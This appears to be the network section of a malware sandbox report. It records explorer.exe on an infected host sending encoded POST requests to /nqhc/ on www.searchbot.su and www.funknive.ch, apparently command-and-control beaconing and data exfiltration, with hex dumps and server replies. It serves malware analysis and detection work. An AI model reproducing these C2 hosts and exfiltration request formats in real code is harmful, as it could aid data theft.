Nov 21, 2022 19:22:23.439994097 CET	1075	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 21 Nov 2022 18:22:23 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49827	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:19.376054049 CET	495	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 71 38 66 37 30 44 6d 49 4a 38 44 57 66 6c 32 4a 69 76 37 76 75 4b 30 4e 6f 54 33 48 4c 61 63 59 70 58 48 53 4c 33 4a 68 6c 2d 42 54 66 4a 49 55 43 61 36 57 31 51 32 69 79 6f 35 59 51 50 73 4f 4b 4f 45 36 74 66 36 78 47 36 63 69 48 6c 57 6a 61 79 73 79 66 4e 6c 49 47 6f 4f 61 34 4d 78 32 71 51 34 54 63 59 44 69 6d 5a 6d 36 31 6e 37 63 79 46 4c 58 45 49 59 45 5a 79 55 77 73 34 7e 75 46 42 56 4d 34 5a 58 66 38 5f 50 32 32 6b 56 4c 50 52 6e 55 35 48 4f 54 48 65 51 6c 35 65 59 4c 76 58 4b 36 62 30 55 50 55 46 6d 7a 65 36 4f 33 33 74 47 43 73 6e 56 48 73 30 6f 76 71 30 6c 6d 78 4b 5a 36 71 38 67 72 6d 37 58 6b 30 46 54 6d 6a 6b 77 79 59 61 39 55 6f 54 71 78 44 73 50 6d 71 46 47 79 5a 48 66 6d 30 76 51 72 44 42 61 52 4c 2d 52 6e 56 30 78 31 53 53 50 71 32 77 62 67 4c 44 53 2d 34 44 55 43 6a 66 69 4c 7a 44 78 45 34 55 7a 58 39 44 4a 71 47 48 4a 4d 37 78 62 44 68 77 54 61 57 59 61 41 6f 48 63 36 78 34 33 4c 7e 69 6d 59 7a 79 73 4e 45 70 6c 4c 6b 67 78 6f 4e 61 36 5f 62 65 71 33 31 6f 74 43 6b 78 65 75 32 69 6e 6d 78 69 6e 72 56 67 48 72 35 7a 34 70 74 6e 54 67 4a 45 6d 61 78 75 37 36 47 56 44 31 39 49 68 61 42 7a 5a 64 7a 58 6b 42 34 5a 7a 47 54 57 4b 76 79 5f 28 37 72 67 65 49 4a 62 44 78 42 51 77 72 46 72 50 7a 76 33 4d 31 46 4d 39 76 50 35 55 4f 69 76 79 2d 65 32 33 31 47 6d 44 46 4a 48 6b 6d 76 56 63 70 4a 46 71 4c 69 31 69 50 4a 76 45 36 53 74 4d 51 43 4e 72 69 38 5f 4e 79 56 6a 74 39 63 66 54 73 6f 57 64 68 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657q8f70DmIJ8DWfl2Jiv7vuK0NoT3HLacYpXHSL3Jhl-BTfJIUCa6W1Q2iyo5YQPsOKOE6tf6xG6ciHlWjaysyfNlIGoOa4Mx2qQ4TcYDimZm61n7cyFLXEIYEZyUws4~uFBVM4ZXf8_P22kVLPRnU5HOTHeQl5eYLvXK6b0UPUFmze6O33tGCsnVHs0ovq0lmxKZ6q8grm7Xk0FTmjkwyYa9UoTqxDsPmqFGyZHfm0vQrDBaRL-RnV0x1SSPq2wbgLDS-4DUCjfiLzDxE4UzX9DJqGHJM7xbDhwTaWYaAoHc6x43L~imYzysNEplLkgxoNa6_beq31otCkxeu2inmxinrVgHr5z4ptnTgJEmaxu76GVD19IhaBzZdzXkB4ZzGTWKvy_(7rgeIJbDxBQwrFrPzv3M1FM9vP5UOivy-e231GmDFJHkmvVcpJFqLi1iPJvE6StMQCNri8_NyVjt9cfTsoWdho.
Nov 21, 2022 19:20:19.468588114 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:20:19 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.11.20	49865	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:25.463323116 CET	1077	OUT	POST /nqhc/ HTTP/1.1 Host: www.funknive.ch Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.funknive.ch User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funknive.ch/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 68 4e 41 6f 7a 4a 5a 58 6a 5a 4f 6b 78 4f 71 78 45 75 77 4a 46 78 76 79 42 78 65 6e 6b 71 51 53 59 6b 6f 63 6f 59 7e 4e 57 6f 58 30 64 56 73 58 58 77 7a 56 6b 30 48 33 4e 70 39 48 5a 57 6a 59 43 79 35 33 76 70 45 63 48 72 67 69 70 30 50 73 53 32 56 42 44 77 63 68 59 6b 70 71 48 5f 67 41 69 51 76 67 61 45 39 34 6b 63 28 71 50 74 49 59 4c 6a 48 6c 57 6b 6f 67 6e 49 49 67 43 39 38 6c 6a 5f 52 55 35 62 4a 47 6f 4b 6a 77 4e 67 68 43 67 6b 58 61 39 73 76 6e 31 52 53 56 6b 58 43 37 73 52 28 32 69 78 55 36 73 62 4f 56 4c 59 6e 34 42 49 6c 4b 6f 70 48 2d 49 6d 55 68 28 48 4f 45 35 61 75 4c 51 71 6a 36 58 77 42 50 42 36 67 59 71 34 6d 5a 7e 30 68 31 33 66 58 49 6a 4c 54 36 75 4e 6a 48 4a 66 66 65 6c 70 6d 32 55 73 4f 30 73 4e 35 67 35 79 4f 69 70 61 46 48 51 38 6c 48 58 33 6b 64 37 2d 34 6c 79 63 66 6f 64 69 79 31 6b 6e 28 34 72 37 6d 75 4d 4d 34 53 31 55 54 4e 67 72 6b 4c 47 69 28 51 63 6c 79 76 77 74 64 69 4c 44 54 34 75 59 62 36 45 74 4a 65 58 58 71 39 71 77 54 56 56 7a 64 30 63 5f 49 59 6e 6b 41 4c 62 75 4d 67 51 31 63 43 76 6f 37 65 71 48 69 41 55 52 37 32 78 4f 34 62 4f 41 77 6b 68 78 78 6c 53 6d 65 61 35 77 43 4d 6b 35 49 66 51 6b 6d 4f 6c 6e 32 4d 6b 78 7e 48 70 73 68 59 41 38 4f 53 42 75 35 70 62 71 50 6b 42 68 66 4c 6d 34 35 71 31 56 64 70 72 7a 5a 33 66 51 28 50 34 51 54 58 49 54 59 77 4f 50 71 57 72 4f 66 35 33 59 78 32 76 6d 7e 59 5a 79 30 33 71 58 4b 45 6d 4d 75 43 7e 4d 69 79 58 4f 36 5f 63 4e 38 68 50 4c 34 48 57 66 4a 33 52 51 6b 54 68 7a 51 45 6f 39 72 36 68 42 38 4b 6d 4e 59 38 76 6f 6d 4c 58 36 7e 4d 71 42 52 49 6e 38 34 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=hNAozJZXjZOkxOqxEuwJFxvyBxenkqQSYkocoY~NWoX0dVsXXwzVk0H3Np9HZWjYCy53vpEcHrgip0PsS2VBDwchYkpqH_gAiQvgaE94kc(qPtIYLjHlWkognIIgC98lj_RU5bJGoKjwNghCgkXa9svn1RSVkXC7sR(2ixU6sbOVLYn4BIlKopH-ImUh(HOE5auLQqj6XwBPB6gYq4mZ~0h13fXIjLT6uNjHJffelpm2UsO0sN5g5yOipaFHQ8lHX3kd7-4lycfodiy1kn(4r7muMM4S1UTNgrkLGi(QclyvwtdiLDT4uYb6EtJeXXq9qwTVVzd0c_IYnkALbuMgQ1cCvo7eqHiAUR72xO4bOAwkhxxlSmea5wCMk5IfQkmOln2Mkx~HpshYA8OSBu5pbqPkBhfLm45q1VdprzZ3fQ(P4QTXITYwOPqWrOf53Yx2vm~YZy03qXKEmMuC~MiyXO6_cN8hPL4HWfJ3RQkThzQEo9r6hB8KmNY8vomLX6~MqBRIn84.
Nov 21, 2022 19:22:25.480854988 CET	1078	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 21 Nov 2022 18:22:25 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.11.20	49866	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:27.510642052 CET	1082	OUT	POST /nqhc/ HTTP/1.1 Host: www.funknive.ch Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.funknive.ch User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funknive.ch/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 68 4e 41 6f 7a 4a 5a 58 6a 5a 4f 6b 78 4f 71 78 45 75 77 4a 46 78 76 79 42 78 65 6e 6b 71 51 53 59 6b 6f 63 6f 59 7e 4e 57 6f 76 30 64 6a 77 58 56 54 4c 56 31 45 48 33 57 70 39 4b 5a 57 69 59 43 32 74 7a 76 70 59 69 48 70 59 69 70 6e 33 73 54 46 78 42 57 41 63 73 64 6b 70 6f 44 5f 67 55 69 51 6a 30 61 45 70 6f 6b 4d 6a 71 4f 74 34 59 4f 51 28 36 4c 45 70 72 6e 49 49 73 47 39 39 59 6a 35 4e 45 35 62 4e 47 6f 49 6e 77 66 6d 6c 43 77 6b 72 61 36 38 76 34 37 78 53 65 39 48 43 53 73 52 61 48 69 78 55 31 73 5a 69 56 4c 62 76 34 54 5f 52 4e 70 4a 48 2d 57 32 55 67 73 53 57 49 35 61 44 49 51 71 37 36 58 79 52 50 41 61 67 59 34 74 61 57 7a 45 68 33 38 5f 58 62 31 37 66 69 75 4a 44 35 4a 66 37 65 6b 5a 79 32 53 62 36 30 6a 50 42 67 6d 69 4f 67 6e 36 46 59 62 63 6b 63 58 33 30 5f 37 5f 59 31 79 66 54 6f 62 77 36 31 68 47 28 37 74 62 6d 73 53 38 35 61 6a 55 50 4a 67 72 30 58 47 69 28 2d 63 6b 6d 76 33 64 42 69 4b 47 7a 37 74 49 62 35 43 74 49 63 5a 48 57 7a 71 77 66 4f 56 7a 46 61 63 38 45 59 32 30 41 4c 65 4a 51 76 61 46 64 72 79 34 37 4d 6b 6e 6a 49 55 52 33 41 78 4c 49 4c 4f 51 63 6b 67 42 68 6c 44 47 65 5a 79 77 44 6b 76 5a 49 64 61 30 6d 4f 6c 6e 4c 37 6b 30 6d 48 70 39 5a 59 42 4c 71 53 45 39 52 70 57 4b 50 6d 42 68 66 34 6d 34 31 6e 31 56 56 32 72 7a 70 52 66 53 7a 50 34 6b 58 58 50 57 73 33 59 50 71 58 67 75 66 55 6f 49 39 68 76 6d 69 41 5a 79 6c 41 74 6b 7e 45 30 38 7e 43 70 73 6a 6b 43 65 36 30 57 74 38 7a 59 37 30 4c 57 65 67 41 52 52 68 49 68 79 30 45 70 63 75 36 39 69 68 54 6c 5f 59 7a 67 59 36 41 59 34 36 6a 78 69 52 41 39 38 39 54 79 50 42 69 47 46 66 6a 62 45 36 54 52 53 7a 73 65 78 31 7a 53 63 41 67 6b 62 6e 4a 4d 53 68 5a 65 4d 39 32 76 58 56 46 4f 56 70 55 34 79 57 4d 32 6a 30 69 47 58 58 74 6c 55 5a 45 50 51 30 47 43 36 38 34 5a 74 36 53 6e 44 5a 32 7a 45 66 34 44 73 6a 30 53 4d 37 70 45 5a 49 52 6e 70 6b 49 50 4f 6a 68 6d 7a 73 53 32 62 48 57 63 70 36 6d 54 6e 61 77 67 56 61 35 5a 43 5a 4c 5a 5a 7a 74 4a 5a 4d 55 46 36 6b 43 4b 62 6c 2d 4a 57 37 52 55 6b 68 32 56 7a 5a 36 4a 47 55 77 4b 4f 54 4b 6d 4a 36 64 38 51 75 4b 35 42 42 7a 72 73 47 44 6e 4c 34 4a 66 5f 73 47 77 4a 66 76 36 69 54 31 49 47 34 31 7a 7a 7a 55 6a 34 56 39 65 73 57 54 71 36 49 67 31 76 63 58 32 31 41 39 6e 69 4c 74 4e 68 6e 7a 34 75 35 2d 6d 78 51 56 31 6a 4b 5a 5a 65 47 33 56 7a 62 63 74 4a 70 6e 4a 64 4a 68 78 4c 30 39 37 4c 41 79 45 6a 73 47 73 63 49 33 58 42 58 55 6a 6a 6a 68 48 5f 64 54 35 6b 4b 7a 52 72 6d 53 49 31 58 2d 71 4b 46 44 4b 71 74 48 33 66 41 73 4f 74 71 72 6c 48 7a 34 33 4b 79 4e 41 44 7a 37 47 33 67 4e 54 79 76 79 6d 37 6f 67 54 54 6b 72 78 55 75 70 69 41 33 7a 36 49 6b 7a 34 63 69 64 38 4e 71 31 71 71 53 38 6b 4b 51 58 45 4d 68 34 36 39 53 38 64 4d 46 43 4c 62 36 5a 62 66 28 4e 50 50 76 52 62 33 55 35 4e 30 58 4b 50 74 64 63 5a 4b 33 42 51 38 49 33 37 6d 4a 57 51 47 32 6a 6e 65 7e 33 70 6e 39 74 4a 71 43 47 34 6b 55 50 76 6e 79 51 37 37 34 4a 34 68 47 43 78 41 7a 68 6b 5a 31 49 33 39 67 47 63 65 74 42 47 49 68 2d 73 79 59 49 43 37 41 73 72 4a 65 33 43 43 38 6b 6b 4a 50 6a 59 6b 70 78 52 4b 53 67 7e 4f 28 46 76 70 45 71 31 6a 59 6a 4d 41 4d 49 76 70 36 33 78 31 34 47 7e 32 55 31 7e 61 6f 57 63 6f 33 39 53 64 53 6b 39 62 39 37 77 66 76 6a 4c 42 74 61 67 57 64 38 72 5f 52 78 6b 4f 6b 32 4e 5f 4a 78 62 7a 49 6c 34 43 67 5a 4c 6e 70 51 56 74 34 49 39 64 4e 54 79 32 6f 4a 49 4b 56 46 48 5a 51 34 78 46 75 47 32 49 64 50 46 63 57 50 41 61 72 72 75 6e 4b 4d 43 44 32 38 5a 76 6f 41 34 38 37 37 39 5a 63 43 75 4d 6c 55 33 46 51 33 6f 56 32 59 46 33 58 34 33 52 38 44 79 74 52 39 4f 55 62 79 63 65 4f 64 4e 44 56 44 73 64 53 64 67 4f 4e 57 76 48 67 77 65 53 44 32 47 6a 67 77 73 75 43 4a 43 61 36 62 38 61 6f 6a 36 50 4e 43 78 4b 7e 4e 72 69 33 73 32 56 6d 6c 7e 50 73 32 4d 33 70 72 69 70 54 74 43 71 54 51 46 50 65 41 57 41 36 6b 48 71 7e 6e 47 44 75 6f 38 59 32 38 74 66 67 51 6c 5f 30 77 54 4c 39 78 6a 78 34 36 71 63 31 41 37 55 45 52 37 62 38 4b 7e 78 72 38 50 65 70 76 69 64 56 57 67 31 35 52 6f 72 75 38 63 36 64 73 6b 33 72 42 56 4f 52 66 65 4b 66 75 46 38 5a 61 50 65 4c 75 76 31 48 59 57 5a 6d 61 4b 6f 36 66 28 Data Ascii: r4txB=hNAozJZXjZOkxOqxEuwJFxvyBxenkqQSYkocoY~NWov0djwXVTLV1EH3Wp9KZWiYC2tzvpYiHpYipn3sTFxBWAcsdkpoD_gUiQj0aEpokMjqOt4YOQ(6LEprnIIsG99Yj5NE5bNGoInwfmlCwkra68v47xSe9HCSsRaHixU1sZiVLbv4T_RNpJH-W2UgsSWI5aDIQq76XyRPAagY4taWzEh38_Xb17fiuJD5Jf7ekZy2Sb60jPBgmiOgn6FYbckcX30_7_Y1yfTobw61hG(7tbmsS85ajUPJgr0XGi(-ckmv3dBiKGz7tIb5CtIcZHWzqwfOVzFac8EY20ALeJQvaFdry47MknjIUR3AxLILOQckgBhlDGeZywDkvZIda0mOlnL7k0mHp9ZYBLqSE9RpWKPmBhf4m41n1VV2rzpRfSzP4kXXPWs3YPqXgufUoI9hvmiAZylAtk~E08~CpsjkCe60Wt8zY70LWegARRhIhy0Epcu69ihTl_YzgY6AY46jxiRA989TyPBiGFfjbE6TRSzsex1zScAgkbnJMShZeM92vXVFOVpU4yWM2j0iGXXtlUZEPQ0GC684Zt6SnDZ2zEf4Dsj0SM7pEZIRnpkIPOjhmzsS2bHWcp6mTnawgVa5ZCZLZZztJZMUF6kCKbl-JW7RUkh2VzZ6JGUwKOTKmJ6d8QuK5BBzrsGDnL4Jf_sGwJfv6iT1IG41zzzUj4V9esWTq6Ig1vcX21A9niLtNhnz4u5-mxQV1jKZZeG3VzbctJpnJdJhxL097LAyEjsGscI3XBXUjjjhH_dT5kKzRrmSI1X-qKFDKqtH3fAsOtqrlHz43KyNADz7G3gNTyvym7ogTTkrxUupiA3z6Ikz4cid8Nq1qqS8kKQXEMh469S8dMFCLb6Zbf(NPPvRb3U5N0XKPtdcZK3BQ8I37mJWQG2jne~3pn9tJqCG4kUPvnyQ774J4hGCxAzhkZ1I39gGcetBGIh-syYIC7AsrJe3CC8kkJPjYkpxRKSg~O(FvpEq1jYjMAMIvp63x14G~2U1~aoWco39SdSk9b97wfvjLBtagWd8r_RxkOk2N_JxbzIl4CgZLnpQVt4I9dNTy2oJIKVFHZQ4xFuG2IdPFcWPAarrunKMCD28ZvoA48779ZcCuMlU3FQ3oV2YF3X43R8DytR9OUbyceOdNDVDsdSdgONWvHgweSD2GjgwsuCJCa6b8aoj6PNCxK~Nri3s2Vml~Ps2M3pripTtCqTQFPeAWA6kHq~nGDuo8Y28tfgQl_0wTL9xjx46qc1A7UER7b8K~xr8PepvidVWg15Roru8c6dsk3rBVORfeKfuF8ZaPeLuv1HYWZmaKo6f(iuhUypgaILhRQf3aIGBg5fgE-bZMxILiEeD8Xl0tKUSFvh6EMHnYNUhTA4Ko4bMLqxsRSUNinQyN72UEqCHahjW5JTyy0uclxEari(Fy0aXpxFMSJgv0SKil7ciWT~8r5r76MI3~Cgbfqo5Nzh1wcR744U5Xq9CyT2OD8fE4B8colbBJKzxWtYFr2xba4u5ET(EIT8Q3G5fLk4kNoiNfCu9rMy35NsAdczDfwxBw36KMBahU_g3iPveECkKjX4lX1oFtmZbEmZLVk(Hx0q5B44HAHie(SGoyvMzIU8zXunJuQcnyx6sfuH5~vX0GWLVjgatLpzHUU9tFtGCFg1AH_xjGxw-I310ZNlb0IPQ~C7093r72TpUTSlwwf(NsXmKTX61lIxJfbQSlRvrtO78yepQJdKlnjJpmKlZ7cZ4NYn6qWZUYul5RgqUcOi_TZt_eHVQ4TISF8mlOgHXgvgIHtCUTu~zuMcdZxmr5d43L5v57_Y64fL7Yw24TZbvGQ77bg013t2BM5utwx5Va2iY1_b6Jp7TmOSrQSc4fklQY0W-6mF-OCarAQ66HfAlT1lkHdbJSN2KZZPNAx~3lCgSohzVE54pff9aJx~EcadOw03oHAclN_~K97A6~u8lGCJO(Nm5g59CY2QuX8k7~XPdf3VYr41cPfwi5wJg3Z837j8exMDAW2v-3W2dGcQ9v6xJovA9V_X9TW~zDSUWfwqgkQlEHPLsgCQfpTo3vq(1cCCeEAF9oFCn69fN5HcyAyXjkgfWGwSIgT1iRFnSC8~eRnh1JK1zIw0ZBgpyRGvuDl2JHI4Ns5RgoG~-jhHxj5(V9YdIj2gzhXrS61wbPRfhjy9njakz8MZvhVcxZgRm(wmBwh3ndMvChTCGPoWAGew_B962BvzgT2oIO9nCsInhX-nP(OLz5Jrh51Qng91q9RX3f3MabEez~SVrxu7xa2sz9uB-441j(0JzdqjwW7501SG_CLBc22a8bTtgXBhjc8L7YdJCmWUCgarQTwuKxlsK1otHjaA-K0pjyHcZDe4QiNuVv0LWn60R91yVMLCdRqvxwoVGr5MLj9mRQ3JQuYXWZtg01YcXncGueQOSxCqCHVz2LxWnDAPGxZrI~z9JFQISoqv-QpO1IVjwkJQJ~V(_m6H5K10PmzoJJpCB(MVUqnC-ZIMaz5k-SvvtJ6NFUxgyZjI8gVNcjpJ1M7M4yyojYtyhVgzjhKlhf9A2Ffr6zCdRxmTb(7OdFQaxvhswOhxuVTfyvaWR3WKnx7liCLeRBiZPnoKHhSfHnKjlc2TAIxVczAOZUxcmtfrD~6whS5UgDU1JbYIyL19U3S35qRDBR_w2RuwI1ESQMB~htG5IyfgGQejang1TdQTgS8f6Sa44VMnEpH8-T6CWOFVZ5TQIIc72lLUP1sjPP_it9VHyrrDIApQu~hIyQnZlyYaQz4n-QEM4I07VapbCYE9WGAvjIEKWDJkdFLILt_Epj5g_N7PGUP~BPkOMQGfpmU(FP-QZEczIY8YnbL8pIMSv9yCOv0Ng2H~CugxtuBlOD5l4mQ9PLsMS(SrywV9Yj41CqEdbO7A1MI4dvQge9fTZTm1chNjuD2BZ88xF3E(OhyexUB(qIeTMGEtNwEWbOFu2zpqLAfaPqS0xgDr6vbZzI_RSrLRUivRSzG8gmPCuAZlpOSbL0c9CtW7ET-8hQC3_RayeSkBtHTNjuW~cbd8cD5IfvPRdLjX8CwHXukgnkVzD5dAvAlJfzKHCn1KgwFZbgVnvMKvrlLlHUKtU(AaI1WFDrc9KArq-GaWB3r0FtY(qBH6Eknv7kh6TNSe7O9BIutQ5BHjgWBqTVEWmRB9REg0rFpLhC6eByAG7iL8JBK8008lrMDCMCRRzsSYxo-EuePjy4xAvnOu1o6pck4r1Q_AenYgRDKrLjCBVzwTKL4NL0EjzBqEvr8ZLaCYlk6xQpezj9ER74O4GD7~j8YCZt8JffATutZqCuSXmj34CVdT91F4vzXTnWYdKTXOt1CYjFePtmDzMKsXeZbippRtDdjTatt75bsuO9VCWMUqcPbGVOq3BG_jWJN2iecnPB1Rrfl4SM78K~1AIJY2iB
Nov 21, 2022 19:22:27.510679960 CET	1088	OUT	Data Raw: 77 62 70 57 61 6d 49 7e 6f 44 76 41 58 47 34 79 77 6f 46 47 33 45 43 69 49 55 42 57 53 30 6a 56 58 34 56 76 65 71 44 79 44 35 4a 58 39 47 32 73 72 51 6e 39 69 77 66 30 48 31 6a 75 5f 32 76 72 7a 4d 7a 66 4c 53 78 54 48 47 59 50 31 48 76 66 4a 4f Data Ascii: wbpWamI~oDvAXG4ywoFG3ECiIUBWS0jVX4VveqDyD5JX9G2srQn9iwf0H1ju_2vrzMzfLSxTHGYP1HvfJOlFcSrHebXsXYZkT7gC4P5kWqhzmeJAE(o3cwj1mlkZij4L0PWjI17MlSC4lEW4pLTbbYaVSR4fnkIj3RDjKg_vqJnlcCPoPavldNmSng-TnLDwpNVs34s9C2HggWoa8SI7fBNTUAmSlx-cJeihFpYnOYoMNLzOVNu
Nov 21, 2022 19:22:27.510754108 CET	1091	OUT	Data Raw: 6c 72 61 69 6c 66 77 4c 42 6b 66 4a 4d 39 5f 4a 73 55 58 42 58 47 66 54 62 74 55 31 77 6f 52 64 34 70 7a 66 50 77 35 73 67 63 32 36 61 61 52 59 47 6d 57 62 4f 77 68 71 34 65 55 72 4f 6a 74 30 5a 70 4d 34 5f 5a 50 38 46 56 31 55 54 46 53 41 66 4b Data Ascii: lrailfwLBkfJM9_JsUXBXGfTbtU1woRd4pzfPw5sgc26aaRYGmWbOwhq4eUrOjt0ZpM4_ZP8FV1UTFSAfKFwWDIermYDW4RcXQ42-4iX0PaJTh6GYDHC5wwJzbkT5K3OEqczE2vV8aPeGMH1uizKO90o8caBg4LOC1CP-KVb2UFxlWoZckyvpKtBqo2HyrAw_mHRKnvnkIadlvqOxIZ7-2ANzjI9XHDf9dDQDB0K4I_p3RV~CDH
Nov 21, 2022 19:22:27.527985096 CET	1091	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 21 Nov 2022 18:22:27 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Nov 21, 2022 19:22:27.528033018 CET	1094	OUT	Data Raw: 33 72 48 32 64 7a 44 32 4a 65 32 64 64 4b 62 52 6e 31 78 51 65 67 68 58 58 66 51 43 62 75 65 73 45 48 42 6d 65 4d 6a 4f 5a 67 5f 78 53 71 52 32 65 58 79 72 33 63 32 6a 77 36 35 31 33 6f 66 78 76 4c 77 47 64 30 70 54 30 4e 45 41 2d 5a 69 35 39 69 Data Ascii: 3rH2dzD2Je2ddKbRn1xQeghXXfQCbuesEHBmeMjOZg_xSqR2eXyr3c2jw6513ofxvLwGd0pT0NEA-Zi59iRJViJqsAinEnaWKnnL0ba~WvG52RVqc~YC6kQbYiYB8ljI93DJ4NkZbzPV2MEqZaWgn2Rq8bDpQ(0XCKERROpdYVn6tzCLREqn9a9kNy6KNh7lYFbutuGdlzeBbM3OP~JOxHruJcer5tcvATffDieCFegU3nax1ff
